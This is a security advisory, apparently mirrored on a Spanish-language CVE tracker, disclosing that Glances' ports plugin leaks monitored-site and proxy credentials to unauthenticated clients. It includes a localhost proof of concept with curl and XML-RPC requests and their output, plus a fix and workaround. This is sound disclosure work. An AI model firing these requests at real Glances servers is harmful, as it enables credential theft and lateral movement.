GHSA-2JQF-3J6F-683P
Unauthenticated credential disclosure via the ports plugin
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-2JQF-3J6F-683P divulgada · CVSS 7.5 (GitHub) | |
| Remediación | Parche 4.5.7 | Glances · 0 d desde divulgación | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Summary
The ports plugin publishes its configuration verbatim as statistics. An unauthenticated attacker who can reach a default Glances web server retrieves the HTTP Basic credentials and the HTTP/HTTPS proxy credentials configured for website monitoring with a single `GET /api/4/ports`. Glances masks these exact values on `/api/4/config` (the fix for CVE-2026-68520), so this is a bypass of an existing redaction control, not an accepted exposure.
Details
`glances/web_list.py` copies the raw configuration values into the web-list entries:
# glances/web_list.py:51
new_web['url'] = config.get_value(self._section, '{}{}'.format(postfix, 'url'))
# glances/web_list.py:63 - the default description is the netloc, which includes the userinfo
new_web['description'] = config.get_value(
self._section, f'{postfix}description', default=f"{url_parse.netloc}"
)
# glances/web_list.py:96-103
http_proxy = config.get_value(self._section, f'{postfix}http_proxy', default=None)
https_proxy = config.get_value(self._section, f'{postfix}https_proxy', default=None)
new_web['proxies'] = {'http': http_proxy, 'https': https_proxy}The plugin adopts that list as its statistics:
# glances/plugins/ports/__init__.py:83-85
self.stats = (
GlancesPortsList(config=config, args=args).get_ports_list()
+ GlancesWebList(config=config, args=args).get_web_list()
)Redaction is applied only on the configuration views, at three call sites in `glances/outputs/glances_restful_api.py` (lines 1295, 1309, 1329):
config_dict = self.config.as_dict() if self.args.password else self.config.as_dict_secure()`as_dict_secure()` (`glances/config.py:312`) runs `secure_option()`, whose `_SECURE_URL_CREDENTIALS_RE` (`glances/config.py:36`) is exactly the rule that would mask these values. Statistics never pass through it, so `/api/4/ports`, `/api/4/all` and the XML-RPC method `getPlugin('ports')` all return the cleartext.
The project's own regression test for CVE-2026-68520 uses this configuration key as its worked example and asserts the value must be masked:
# tests/test_api_secure.py:110-114
def test_every_url_of_a_multi_url_value_is_redacted(tmp_path):
secure = _config(tmp_path).as_dict_secure()
assert secure['ports']['web_1_url'] == 'https://********@blog.example.com'That test passes while `/api/4/ports` returns `https://alice:pwd1@blog.example.com`.
Suggested fix: publish a redacted `url` and `description` through `secure_option()`, keep the real URL in a private field used only to build the request, and drop `proxies` from the published stats entirely, since it has no display value.
PoC
Tested on Glances 4.5.7_dev01 at commit 06f6adb7 (branch develop, clean tree), Python 3.12.3, fastapi 0.128.8, uvicorn 0.40.0, Linux x86_64. Reproduced six times, exit 0 each time. The reproduction binds 127.0.0.1 only and uses RFC-2606 `.example` hostnames that never resolve, so no external host is contacted and nothing destructive is run.
- Install Glances from an affected tree:
git clone https://github.com/nicolargo/glances && cd glances
git checkout 06f6adb7 # or any tag in the affected range, for example v4.5.6
pip install -e .- Create `poc.conf`. This is the whole setup, and it is the documented way to monitor a website that sits behind HTTP Basic auth and an authenticated forward proxy:
[ports]
refresh=60
web_1_url=https://svcmonitor:Sup3rS3cret!@intranet.corp.example/health
web_1_http_proxy=http://proxyuser:Pr0xyP4ss@proxy.corp.example:3128
web_1_https_proxy=http://proxyuser:Pr0xyP4ss@proxy.corp.example:3128
# negative control: no credentials anywhere
web_2_url=https://public.example/health- Start Glances in the default posture, meaning without `--password`:
glances -w --bind 127.0.0.1 -p 61330 -C poc.conf- Request the plugin statistics with no credentials at all:
curl -s http://127.0.0.1:61330/api/4/portsObserved output:
[
{
"url": "https://svcmonitor:Sup3rS3cret!@intranet.corp.example/health",
"description": "svcmonitor:Sup3rS3cret!@intranet.corp.example",
"status": "Error",
"indice": "web_1",
"ssl_verify": true,
"proxies": {
"http": "http://proxyuser:Pr0xyP4ss@proxy.corp.example:3128",
"https": "http://proxyuser:Pr0xyP4ss@proxy.corp.example:3128"
},
"key": "indice"
},
{
"url": "https://public.example/health",
"description": "public.example",
"proxies": null,
"key": "indice"
}
]- Compare with the configuration view, which masks the same two secrets in the same run:
curl -s http://127.0.0.1:61330/api/4/config/ports{
"refresh": "60",
"web_1_url": "https://********@intranet.corp.example/health",
"web_1_http_proxy": "http://********@proxy.corp.example:3128",
"web_1_https_proxy": "http://********@proxy.corp.example:3128",
"web_2_url": "https://public.example/health"
}- The same data is served by `GET /api/4/all`, and by the XML-RPC server, which is also unauthenticated by default:
glances -s --bind 127.0.0.1 -p 61340 -C poc.conf
python3 -c "import xmlrpc.client; print(xmlrpc.client.ServerProxy('http://127.0.0.1:61340').getPlugin('ports'))"The output contains `Sup3rS3cret!` and `Pr0xyP4ss` in cleartext.
Three controls were run so that a failure cannot be mistaken for the bug. Positive control: `/api/4/config/ports` returns the masked form in the same run, which proves Glances does classify the value as a credential and that `as_dict_secure()` is active in the process. Negative control: `web_2_url` carries no userinfo and is byte-identical in both views, so only the credential-bearing part is secret and only it is mishandled. Authentication control: the identical request against an instance started with `--password` returns 401, which attributes the exposure to the unauthenticated default posture rather than to a broken authentication check, and confirms the workaround.
Impact
Unauthenticated disclosure of stored credentials (CWE-522). Any Glances deployment that uses the ports plugin to monitor a website behind HTTP Basic auth, or that routes those checks through an authenticated forward proxy, hands those credentials to every client that can reach the web server or the XML-RPC server. No authentication, no user interaction, one request.
The material is directly reusable: `user:password` for the monitored service, and `user:password` for the proxy. The proxy credentials are the more damaging of the two, because a forward proxy is often authenticated with a directory account and grants onward network reach, so the leak converts into lateral movement rather than merely reading a health endpoint. The monitored URLs are internal hosts by the nature of the feature, so internal topology is disclosed as well.
The credentials are also rendered on screen. With no explicit `web_<n>_description`, the description defaults to the URL netloc including the userinfo, so the password appears in the Web UI ports panel and in the curses dashboard.
Workaround: start Glances with `--password`, which was verified to return 401 on this endpoint, or keep credentials out of `web_<n>_url` and the proxy keys.
Affected versions
`>= 3.1.0, <= 4.5.6`, and the current `develop` branch at 06f6adb7 (4.5.7_dev01). There is no patched version.
The web-monitoring list that publishes `url` and `description` arrived in commit 1adbb2bb and first shipped in 2.10. The `proxies` key arrived in commit f73ac23b and first shipped in 3.1.0, which is where the complete finding begins. Releases 2.10 through 3.0.x leak the URL userinfo only and are outside the supported window. `SECURITY.md` declares only the 4.x line supported, so the practically affected range is `>= 4.0.0, <= 4.5.6`.
Not a duplicate
Three earlier advisories hardened secret exposure, and all three are bound to the configuration and args views rather than to statistics: CVE-2026-30928 introduced `as_dict_secure()` for `/api/4/config` and touched only `config.py` plus three lines of `glances_restful_api.py`; CVE-2026-32609 covered `/api/4/args`; CVE-2026-68520 fixed the value-level bypass of `as_dict_secure()`. `git log --all -- glances/web_list.py glances/plugins/ports/__init__.py` shows no security commit has ever touched either file, and no entry in `NEWS.rst` mentions a ports-plugin credential leak.
Credits
- Thai Son Dinh from VinSOC Labs (R&D)
Disclosure: the analysis and proof of concept were assisted by Claude (Claude Code). The findings were reviewed by the reporter above, who is submitting this report.
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
pypiGlances |
Corregida | 4.5.7 | 0 d | 4.5.9 no afectada |
4.5.7Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/nicolargo/glances/security/advisories/GHSA-2jqf-3j6f-683pLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
